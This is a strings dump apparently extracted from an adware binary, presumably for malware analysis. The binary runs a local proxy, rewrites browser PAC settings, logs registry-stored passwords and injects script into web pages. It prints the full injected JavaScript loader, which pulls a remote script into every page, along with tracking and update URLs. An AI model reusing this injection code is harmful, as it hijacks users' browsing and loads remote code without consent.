[Core::BuildUpdateURL] ___ALERT___ Alert Info = %s

&DAUI=%s

&ActivationCode=%s&ActivationEmail=%s

%s?%s&V=[sb-ve]&VS=[sb-vs]&Beta=[sb-beta]&Aff=[sb-aff]&BundleID=[sb-bundle]&BrandID=[sb-brand]&PartnerList=[sb-partners]

[Core::CheckForUpdates] RequestURL FAILED

[Core::CheckForUpdates] RequestURL SUCCEEDED

[Core::CheckForUpdates] URL = %s

hXXp://online.%DOMAIN%.com/online/update.aspx

[Core::PerformAsyncUpdateCheck] URL = %s

&SBPIDS=%d

[Core::FindRegistrationInfoByKey] VA Product Found

[Core::FindRegistrationInfoByKey] DAP Product Found

[Core::FindRegistrationInfoByKey] Password is %s

[Core::FindRegistrationInfoByKey] SBPID is %s

[Core::FindRegistrationInfoByKey] Product is %s

[Core::FindRegistrationInfoByKey]

[Core::FindRegistrationInfo] ___Error open key %s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from %s

[Core::FindRegistrationInfo] - CurrentUSDKey is %s

[Core::FindRegistrationInfo] - Enum HKEY_CURRENT_USER\%s

[Core::FindRegistrationInfo] - FindRegistrationInfoByKey from product key

[Core::RegisterProduct] RequestURL Fauled err = %d

[Core::RegisterProduct] RequestURL Succeeded

[Core::RegisterProduct] URL = %s

&LastResponse=%s

&TF=%s

&Retry=%d&LE=%d

hXXp://online.%DOMAIN%.com/online/Register.aspx

[Core::GenerateAnonymousID] URL = %s

hXXp://online.%DOMAIN%.com/online/RegisterAnon.aspx

[Core::PingServer] URL = %s

hXXp://online.%DOMAIN%.com/online/ka.aspx

InternetReadFile failed: %d

WriteFile failed: %d

Create output file failed: %d

QueryStatus not OK: %d

HttpQueryInfo failed: %d

InternetOpenUrl failed: %d

InternetOpen failed: %d

Content-Disposition: form-data; name="%s"

--%s--

Content-Type:multipart/form-data;boundary=%s

WaitingPost.xml

%%X

<?xml version="1.0" encoding="%s"?>

-%c%c%c%c%c%c%c%c%c%c

deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly

inflate 1.1.4 Copyright 1995-2002 Mark Adler

()$^.* ?[]|\-{},:=!

safari.exe

opera.exe

itunes.exe

iexplore.exe

chrome.exe

(build %d)

Windows 2000

Windows XP

Web Edition

Windows Server 2003,

Windows XP Professional x64 Edition

Windows Home Server

Windows Storage Server 2003

Windows Server 2003 R2,

Web Server Edition

Windows Server 2008 R2

Windows 8

Windows 7

Windows Server 2008

Windows Vista

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d - Written %d/%d bytes

[ProxyExtensionInj::WriteToLocalCacheWriter] FDM=%d (%d),Req:%d ___Error invalid JobInfo

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\locale

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - html file size unknown - ignore this request (Response)

[ProxyExtensionInj::OnHeader] FDM=%d (%d),Req:%d - Try to Inject script... (Response)

[Inject OnHeader] URL %s, type %s, length %s, trans.encoding %s, cont.encoding %s

hXXp://repjs.shopper-pro.com/app/ping.ashx?product=ShopperProJs&action=%s&it=%d&os=%s&Rnd=%d&v=%s&usid=%s&aff=JS%s&pixguid=%s&text=%s

ProxyExtensionInj: can't open Config.json

Config.json

ProxyExtensionInj: can't open database1_0_0.ej

database1_0_0.ej

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Total written %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - injected %d bytes

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error writing new header

[ProxyExtensionInj::OnHeader] FDM=%d -

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser ParseHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error NewHttpParser Initialize

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error BuildHeader

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpFileDownloadMgr

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid IHttpProxyServer

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error invalid JobInfo

<script type='text/javascript'>!function(){'use strict';function doInj(){if(10!==  calls){var scriptElement=document.createElement('script');scriptElement.src='//4x3zy4ql-l8bu4n1j.netdna-ssl.com/fb.js?pn=JSDRIVER&v=2.7.0.2',scriptElement.type='text/javascript';var scripts=document.getElementsByTagName('script');if(scripts.length>0)scripts[0].parentNode.insertBefore(scriptElement,scripts[0]);else{var headBody=document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0];headBody?headBody.appendChild(scriptElement):setTimeout(function(){doInj()},10)}}}var calls=0;doInj()}();</script>

%%SID%%

%%USERID%%

%%SPARAM%%

%%SPARAMDATE%%

%%SPARAMPROD%%

%%SPARAMSUB%%

%ÛVERSION%%

%%SOURCE%%

%%COUNTRY%%

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - /HEAD position was found: %d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error /HEAD position was not found

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d ___Error uncompress: %d

[ProxyExtensionInj::InjectScriptToWatchPage] Crash fix FDM=%d (%d),Req:%d

[ProxyExtensionInj::InjectScriptToWatchPage] FDM=%d (%d),Req:%d - Parsing Watch page file for Script injection

[InjHttpProxyServer]

[InjHttpProxyLocal::InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::~InjHttpProxyLocal] FDM=%d (%d)

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): After writing %d bytes into upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Going to write the %d bytes into the upper level

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Read %d bytes from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d): Reading from socket %d

[InjHttpProxyLocal::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[InjHttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[InjFileDownloadMgr] FDM=%d

[InjHttpProxyRemote::InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::ConnectToDomain] FAILED FDM=%d (%d),Req:%d

[InjHttpProxyRemote::~InjHttpProxyRemote] FDM=%d (%d),Req:%d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Request was written to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Going to write request to Local

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Read %d bytes from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d - Reading from socket %d

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the Job object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[InjHttpProxyRemote::PutChunk] FDM=%d (%d),Req:%d ___Error: the current download state is %s.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Wrote %d/%d bytes to Socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error writing the request.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d - Going to write %d bytes to socket %d.

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is null.

InjHttpProxyRemote::WriteCachedBufferToSocket

[InjHttpProxyRemote::WriteCachedBufferToSocket] FDM=%d (%d),Req:%d ___Error: the socket object is NULL.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) was created.

[InjFileDownloadMgr::CreateWorker] FDM=%d (%d) ___Error Initializing the worker.

pHttpProxyWorker

[InjHttpProxyServer::GetFileDownloadManager] FDM=%d for Worker: %d, IP: %s, Port: %d, was found.

[InjHttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[InjHttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[InjHttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP: %s, Port: %d, was created.

HttpProxyServer::GetDownloader

[InjHttpProxyServer::GetFileDownloadManager] FDM not found - Creating a new one. (Worker: %d, IP: %s, Port: %d)

[InjHttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker: %d, IP: %s, Port: %d.

[InjHttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[InjHttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

HttpProxyServer::OnHeader

[ProxyServer::StopAcceleration] Proxy type: %d

[ProxyServer::Stop] Proxy type: %d - Done

[ProxyServer::Stop] - delete HttpCookieJar

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopped !

[ProxyServer::Stop] - GENERAL HTTP proxy - Stopping...

[ProxyServer::Stop] - HTTP proxy - Stopped !

[ProxyServer::Stop] - HTTP proxy - Stopping...

[ProxyServer::Stop] Proxy type: %d

[ProxyServer::CreateHttpProxyServer] *** HTTP Proxy Server - Created and Started ***

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Start.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already started

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::Initialize.

m_pIHttpProxyServer

[ProxyServer::CreateHttpProxyServer] ___Error: IHttpProxyServer::CreateInstance.

[ProxyServer::CreateHttpProxyServer] ___Error allocate HttpCookieJar.

[ProxyServer::CreateHttpProxyServer] HTTP Proxy Server - already created

ProxyServer::CreateHttpProxyServer

[ProxyServer::Start] Proxy type: %d - Done.

[ProxyServer::Start] *** HTTP proxy was started ***

[ProxyServer::Start] ___Error stating the HTTP proxy.

[ProxyServer::Start] ___Error Proxy type not supported. (Requested: %d).

[ProxyServer::Start] Proxy type: %d

[ProxyServer::AcceptConnection] *** Handover to HTTP ***

[AccelerationConfiguration::OnError] XML parse failed: %s

[CAccelerationStats::Write] Written: %d, Total: %lld, Bps: %d

[CAccelerationStats::Write] Written: %d

[CAccelerationStats::AddRequest] Req:%d - Request was added

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetBuffer

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: BuildHeader

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: SetRanges

[CAccelerationStats::ModifyDownloadRequestURL] Req:%d ___Error: ParseHeader

[CAccelerationStats::HandleNewRequest] FDM=%d, Req:%d (IP: %s, Port: %d) - Request was added.

[CAccelerationStats::HandleNewRequest] ___Error: The request was not added. FDM=%d, Req:%d (IP:%s, port:%d).

[CAccelerationStats::HandleNewRequest] ___Error initializing FDM=%d.

[HttpProxyServer::Init] ___Error creating listen AsyncSocket

[HttpProxyServer::Init]

[HttpProxyServer::OnData] Writing to FDM %d data bytes from Local Worker:%d.

HttpProxyServer::OnData

pIHttpProxyWorker

m_pIHttpEngineConfiguration

[HttpProxyServer::WriteDataToFile] ___Error: Not a reasnable data to write: %d

[HttpProxyServer::WriteDataToFile] ___Error: GetFileAttributes: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fwrite: %s, failed: %d

[HttpProxyServer::WriteDataToFile] ___Error: fopen: %s, failed: %d

[HttpProxyServer::WriteDataToFile] Filename: %s

[HttpProxyServer::Start] ___Error - HTTP Configuration not valid

HttpProxyServer::Initialize

[HttpProxyServer::Initialize]

[HttpProxyServer::OnAcceptEvent] *** Pass Through ***

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new socket

[HttpProxyServer::OnAcceptEvent] ___Error accepting a new connection.

[HttpProxyServer::OnAcceptEvent] ___Error %s(%d) occured on the listen socket

[HttpProxyServer::IsRedirectedByDnsController] Client was Redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] NOT redirected by Dns Controller!

[HttpProxyServer::IsRedirectedByDnsController] ___Error IDnsController == NULL

[IHttpProxyServer::DestroyInstance] Destroy - HttpProxyServer - Regular MODE

[IHttpProxyServer::DestroyInstance] Destroy - TransparentProxyServer (PassThrough) - LSP MODE

[IHttpProxyServer::DestroyInstance] ___Error Redirect was not created - Type = IdleMode

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer - LSP MODE

[IHttpProxyServer::DestroyInstance] Destroy - LspHttpProxyServer (PassThrough) - LSP MODE

[HttpProxyServer::StartListening] Listening on port: %d

[HttpProxyServer::StartListening] ___Error Listen Socket Initialize failed

[HttpProxyServer::StartListening] ___Error listening on port: %d

[HttpProxyServer::StartListening] ___Error failed to bind the Listen Socket

[HttpProxyServer::StartListening] ___Error Testing Mode - failed to bind Listen Socket default port

[HttpProxyServer::StartListening] Try listening on IP: %s, Port: %d

[HttpProxyServer::StartListening] Listen port restored to default: %d

[HttpProxyServer::StartListening] ___Error Configuration not valid

[HttpProxyServer::StartListening]

HttpProxyServer::StartListening

[HttpProxyServer::StopAllAccelerations]

[HttpProxyServer::GetDestinationIpAndPort] ___Error getting the destination details. Local: %s:%d

[HttpProxyServer::GetDestinationIpAndPort] Local: %s:%d, Remote: %s:%d, PID: %d

[HttpProxyServer::GetDestinationIpAndPort] ___Error spIRedirectController == NULL

[HttpProxyServer::InitializationThread] ___Error listening to network traffic

[HttpProxyServer::InitializationThread] Listening to network traffic.

[HttpProxyServer::InitializationThread] Going to listen to network traffic

[HttpProxyServer::InitializationThread] ___Error HttpProxyServer not valid

[HttpProxyServer::InitializationThread]

[HttpProxyServer::ReleaseAllClosedFDMs] - All closed FDMs where released.

[HttpProxyServer::ReleaseAllClosedFDMs] - FDM=%d has %d RefCount.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing FDM=%d.

[HttpProxyServer::ReleaseAllClosedFDMs] - There are %d FDMs to release.

[HttpProxyServer::ReleaseAllClosedFDMs] - Releasing all closed FDMs.

[HttpProxyServer::Start] ___Error hInitializationThread failed: %d

[HttpProxyServer::Start] hInitializationThread - S_OK

[HttpProxyServer::Start] Waiting for Initialzation Thread...

HttpProxyServer::Start

[HttpProxyServer::AcceptConnection] ___Error to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] Going to initialize Worker: %d.

[HttpProxyServer::AcceptConnection] ___Error: There is not enough memory to allocate HttpProxyLocal.

[HttpProxyServer::AcceptConnection] ___Error getting the connected IP and port of the socket %d.

[HttpProxyServer::AcceptConnection] ___Error accepting a new socket

[HttpProxyServer::Work] --- Exit event was set ---

[HttpProxyServer::Work] - Start...

[HttpProxyServer::FindDownloadMgr] FDM=%d - Was stopped.

[HttpProxyServer::FindDownloadMgr] FDM=%d - Stopping...

[HttpProxyServer::FindDownloadMgr] FDM=%d - State is completed, deleting the FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d state is Not completed - Add Request to FDM

[HttpProxyServer::FindDownloadMgr] The FDM=%d is connected to %s : %d ---> and not to %s : %d

[HttpProxyServer::FindDownloadMgr] Worker was found ! (ID Metch)

[HttpProxyServer::FindDownloadMgr] ___Warning - In caching, use a new one.

[HttpProxyServer::FindDownloadMgr] ___Warning - Worker was found but ID not match

[HttpProxyServer::FindDownloadMgr] Worker was not found !

[HttpProxyServer::RemoveDownloaderFromMap] FDM=%d - Worker:%d

HttpProxyServer::RemoveDownloaderFromMap

[HttpProxyServer::FDMWasStopped] FDM=%d <-> Local (%d)

HttpProxyServer::FDMWasStopped

[HttpProxyServer::Stop] The Stop process was finished !

[HttpProxyServer::Stop] - Workers - Deleted !

[HttpProxyServer::Stop] - Workers - Deleting...

[HttpProxyServer::Stop] - Listen - Stopped !

[HttpProxyServer::Stop] - Listen - Stopping...

[HttpProxyServer::Stop] - NetworkEventsSink - Stopped !

[HttpProxyServer::Stop] - NetworkEventsSink - Stopping...

[HttpProxyServer::Stop] Starting the Stop process...

HttpProxyServer::OnError

[HttpProxyServer::BuildElsePacString] Direct -> ieDomain = %s iePort = %d

return "PROXY %s:%d";

[HttpProxyServer::BuildElsePacString] With ie Proxy Details ieDomain = %s iePort = %d

[HttpProxyServer::BuildElsePacString] Domain ieDomain = %s iePort = %d

127.0.0.1

[HttpProxyServer::IsRequestMatchRedirectionRules] can't get configuration

[HttpProxyServer::IsRequestMatchRedirectionRules] handle on mode, return true

[HttpProxyServer::IsRequestMatchRedirectionRules] Rule not found for Domain: %s, IP: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain & Port found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] Domain found in Rule: %s

[HttpProxyServer::IsRequestMatchRedirectionRules] ___Error getting IAccelerationConfiguration

[HttpProxyServer::GetDestinationDomainAndPort] Domain: %s, Port: %d, URI: %s

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain from URI

[HttpProxyServer::GetDestinationDomainAndPort] ___Error getting the domain and the port from the URI field.

[HttpProxyServer::OnHeader] FDM=%d,Req:%d ___Error: The request was not added. (IP:%s, port:%d).

[HttpProxyServer::OnHeader] FDM=%d - Adding Req:%d (IP:%s, port:%d).

[HttpProxyServer::OnHeader] Worker %u IsRequestMatchRedirectionRules matched - try to accelerate, PassThrough OFF

[HttpProxyServer::OnHeader] *** IsRequestMatchRedirectionRules not matched - PassThrough ON ***

[HttpProxyServer::OnHeader] ___Error local loop detected

[HttpProxyServer::OnHeader] ___Error getting the IP of the domain %s.

[HttpProxyServer::OnHeader] ___Error (TransparentMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Warning getting the destination IP and port for Worker:%d (nLocalPort:%d)

[HttpProxyServer::OnHeader] ___Error building the request from Worker:%d

[HttpProxyServer::OnHeader] ___Error (ProxyMode) getting the destination IP and port from the header, for Worker:%d

[HttpProxyServer::OnHeader] ___Error Unsupported Mode from Worker:%d !!!

[HttpProxyServer::OnHeader] ___Error getting the connected IP and Port for Worker:%d

[HttpProxyServer::OnHeader] New header from Worker:%d.

[HttpProxyServer::GetOriginalRequest] Original request was found: %s

[HttpProxyServer::InsertDownloaderToMap] FDM=%d - Worker:%d

HttpProxyServer::InsertDownloaderToMap

[HttpProxyServer::GetFileDownloadManager] FDM=%d for Worker:%d, IP:%s, Port:%d, was found.

[HttpProxyServer::GetFileDownloadManager] ___Error inserting FDM=%d to the map.

[HttpProxyServer::GetFileDownloadManager] ___Error initializing FDM=%d.

[HttpProxyServer::GetFileDownloadManager] The FDM=%d for Worker:%d, IP:%s, Port:%d, was created.

[HttpProxyServer::GetFileDownloadManager] FDM not found, Creating new one. (Worker:%d, IP:%s, Port:%d)

[HttpProxyServer::GetFileDownloadManager] Getting the FDM for Worker:%d, IP:%s, Port:%d.

return "PROXY 127.0.0.1:%d";

shExpMatch(host, "%s")

function FindProxyForURL(url, host)

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IConfiguration.

[HttpProxyServer::GetRedirectRulesInPacFormat] ___Error getting IAccelerationConfiguration.

HttpProxyServer::GetRedirectRulesInPacFormat

%%.%ds

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: WriteDataToFile() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile] ___Error: GetRedirectRulesInPacFormat() failed: %s

[HttpProxyServer::WriteRedirectRulesToPacFile]

[HttpProxyServer::~HttpProxyServer] - Leave

[HttpProxyServer::~HttpProxyServer] - Enter

[HttpProxyServer::SetOriginalRequest] Location: %s

[HttpProxyServer::SetOriginalRequest] Replacing: %s

[HttpProxyServer::HttpProxyServer]

hXXp://

HTTP_Version_String

HTTP/1.0

HttpParser::UpdateBuffer

[HttpParser::Reset]

[HttpParser::ValidateEndOfLine] ___Error: Unsupported end of line option.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c.

[HttpParser::ValidateEndOfLine] ___Error: The previous end of line was %s, which is different from %c%c.

[HttpParser::ValidateEndOfLine] ___Error: Invalid end of line: %c%c.

[HttpParser::LastChunkReceivedCompletely] Temporary nChunkSize:%d

[HttpParser::LastChunkReceivedCompletely] Received all %d bytes.

[HttpParser::LastChunkReceivedCompletely] Missing %d/%d bytes.

HttpParser::Initialize

HttpParser::GetLine

[HttpParser::GetChunkSize] Missing %d/%d bytes.

[HttpParser::GetChunkSize] After Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nBytesInBuffer. nChunkSize:%d

[HttpParser::GetChunkSize] Received all %d bytes of the current chunk.

[HttpParser::GetChunkSize] After Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding Trailer nChunkSize:%d

[HttpParser::GetChunkSize] After Adding nChunkSize:%d

[HttpParser::GetChunkSize] Before Adding nChunkSize:%d

[HttpParser::GetChunkSize] Next chunk details: (header:%d bytes, size:%d bytes).

[HttpParser::GetChunkSize] The buffer size is %d bytes.

[HttpParser::GetChunkDetails] The size of the chunks is %d bytes.

[HttpParser::GetChunkDetails] ___Error Unknown end of line.

[HttpParser::GetChunkDetails] Going to analyze: BufferSize(%d), HeaderSize(%d), ChunkBufferSize(%d).

[HttpParser::ParseLine] ___Error: The field separator was not found in the line %.600s

HttpParser::ParseLine

[HttpParser::operator =] Adding Cookie %s : %s

HttpParser::GetFieldDataString

HttpParser::GetFieldDataNumber

[HttpParser::SetFieldData] Adding Cookie %s : %s

[HttpParser::SetFieldData] %s : %s

HttpParser::SetFieldData

HttpParser::AddLineDetailsToMap

[HttpParser::IsDataAvailable] Undefined - %d data bytes

[HttpParser::IsDataAvailable] Response code has no body - no data

[HttpParser::IsDataAvailable] Request - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Content Length - %lld/%lld, Available: %d, Missing: %lld

[HttpParser::IsDataAvailable] Chunks size - %d bytes

[HttpParser::IsDataAvailable] ___Error The Header is not complete yet...

[HttpParser::IsConnectionClose] The Connection field exists:%s

[HttpParser::IsConnectionClose] HTTP/1.1 - The Connection field does NOT exists - using Keep-Alive as default

[HttpParser::IsConnectionClose] HTTP/1.0 - The Connection field does NOT exists - using Close as default

[HttpParser::GetContentLength] Content-Length: %lld

[HttpParser::GetDataLengthFromRanges] Range fields does not exists

[HttpParser::GetDataLengthFromRanges] Total Data Length = %lld, StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetDataLengthFromRanges] End Position == 0

[HttpParser::GetDataLengthFromRanges] Filesize: %lld

[HttpParser::GetDataLengthFromRangesField] Range fields does not exists

[HttpParser::GetDataLengthFromRangesField] Total Data Length = %lld

[HttpParser::GetRangesFromHeaderField] Range fields does not exists

[HttpParser::GetRangesFromHeaderField] StartOfRange = %lld, EndOfRange = %lld

[HttpParser::GetRangesFromHeaderField] Filesize: %lld

[HttpParser::IsValid] ___Error --- NOT an HTTP request ---

HttpParser::SetFieldDataNumber

[HttpParser::AnalyzeFirstLine] ___Error The number of tokens in the line %.600s is not valid.There is not enough memory to allocate new buffers.

[HttpParser::AnalyzeFirstLine] ___Error Invalid HTTP Header: %.600s

HTTP/

HttpParser::AnalyzeFirstLine

[HttpParser::SetConnectionType] Adding - Connection: %s (%s)

[HttpParser::SetConnectionType] %s: %s (%s)

[HttpParser::UpdateDataEncodingType] Request - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Post/Put - No Encoding.

[HttpParser::UpdateDataEncodingType] Request Connect - No Encoding.

[HttpParser::UpdateDataEncodingType] - No Encoding.

[HttpParser::UpdateDataEncodingType] - The data encoding type is chunked.

[HttpParser::ParseHeader] Complete - Header size: %d

HttpParser::ParseHeader

HttpParser::GetAllFieldDataStrings

[HttpHeader::BuildFirstLineInHeader] ___Error building the first line if the header. The header type is undefined.

[HttpProxyRemote::SetRangesInHeaderField] ___Error: The function SetFieldData failed.

[HttpHeader::GetRangesFromPathURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromPathURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromPathURI] ___Error: The field %s does not exist.

[HttpHeader::GetRangesFromURI] StartOfRange: %lld, EndOfRange: %lld

[HttpHeader::GetRangesFromURI] The token %s was not found in the URI

[HttpHeader::GetRangesFromURI] ___Error: The field %s does not exist.

[HttpHeader::GetDomainAndPortFromURI] Domain: %s, Port: %d

[HttpHeader::GetDomainAndPortFromURI] ___Error No URI empty

[HttpProxyRemote::SetRangesInPathURI] ___Error: The function SetFieldData field.

%s%lld

[HttpHeader::SetRangesInPathURI] ___Error: The field %s does not exist.

[HttpProxyRemote::SetRangesInURI] ___Error: The function SetFieldData field.

%s%lld-

%s%lld-%lld

[HttpHeader::SetRangesInURI] ___Error: The field %s does not exist.

[HttpProxyLocal::SocketWasConnected] FDM=%d (%d)

[HttpProxyLocal::SocketAcceptedConnection] FDM=%d (%d)

[HttpProxyLocal::SocketWasClosed] FDM=%d (%d)

[HttpProxyLocal::ErrorOnSocket] FDM=%d (%d)

[HttpProxyLocal::Stop] FDM=%d (%d)

[~HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket%d.bin

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching back to HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request data *** (wrote %lld data bytes).

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Data.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the data written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The data size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker has no data to send.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker has %d data bytes in the buffer to send

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - *** Finished sending the Request header ***.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Wroker is switching to DATA state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error writing the Header.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - %d bytes from the Header written.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning Worker was stopped (in HEADER state)

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - The header size is %d/%d bytes.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Error The header is not valid - switch to PassThrough mode!

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d ___Warning The header is not complete

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Worker is in HEADER state

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - NO PassThrough mode

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - IN PassThrough mode

[HttpProxyRemote::WriteToLocal] FDM=%d (%d),Req:%d ___Error: JobInfo is NULL.

[HttpProxyLocal::WriteToRemote] FDM=%d (%d),Req:%d - Going to analyze %d bytes.

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): After writing %d bytes into upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Going to write the %d bytes into the upper level

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Read %d bytes from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): ___Error: Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d): Reading from socket %d

[HttpProxyLocal::SocketReadyToReadFrom] FDM=%d (%d),Req:%d ___Error: the socket object is null.

[HttpProxyLocal - %p] FDM=%d (%d).

C:\Temp\Socket_%d_%lld_%d.bin

C:\Temp\Socket_%d.bin

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Worker was STOPPED.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Setting the cache writer as finished.

[HttpProxyWorker::Stop] FDM=%d (%d) - The socket object was deleted.

[HttpProxyWorker::Stop] FDM=%d (%d) - Going to delete the socket object.

[HttpProxyWorker::Stop] FDM=%d (%d),Req:%d - Going to stop the worker.

[HttpProxyWorker::Stop] FDM=%d (%d)

[HttpProxyWorker::ErrorOnJob] FDM=%d (%d)

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - After writing %d/%d bytes to socket %d.

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d - Before writing %d bytes to socket %d.

HttpProxyWorker::Write

[RtmpProxyWorker::Write] FDM=%d (%d),Req:%d ___Warning No bytes to write

[HttpProxyWorker::Write] FDM=%d (%d),Req:%d ___Error is not ready

[HttpProxyWorker::OnCloseEvent] FDM=%d (%d),Req:%d - Socket %d was closed.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error initializing socket

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** socket %d was Initialized ***.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d ___Error Binding to cellular interface - set to default interface

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d - Binded to Cellular Interface.

[HttpProxyWorker::InitializeSocket] FDM=%d (%d),Req:%d *** new socket ***

HttpProxyWorker::InitializeSocket

[HttpProxyWorker::Initialize] FDM=%d (%d): ___Error initializing the worker, Err: %d.

[HttpProxyWorker::Initialize] FDM=%d (%d) was initialized.

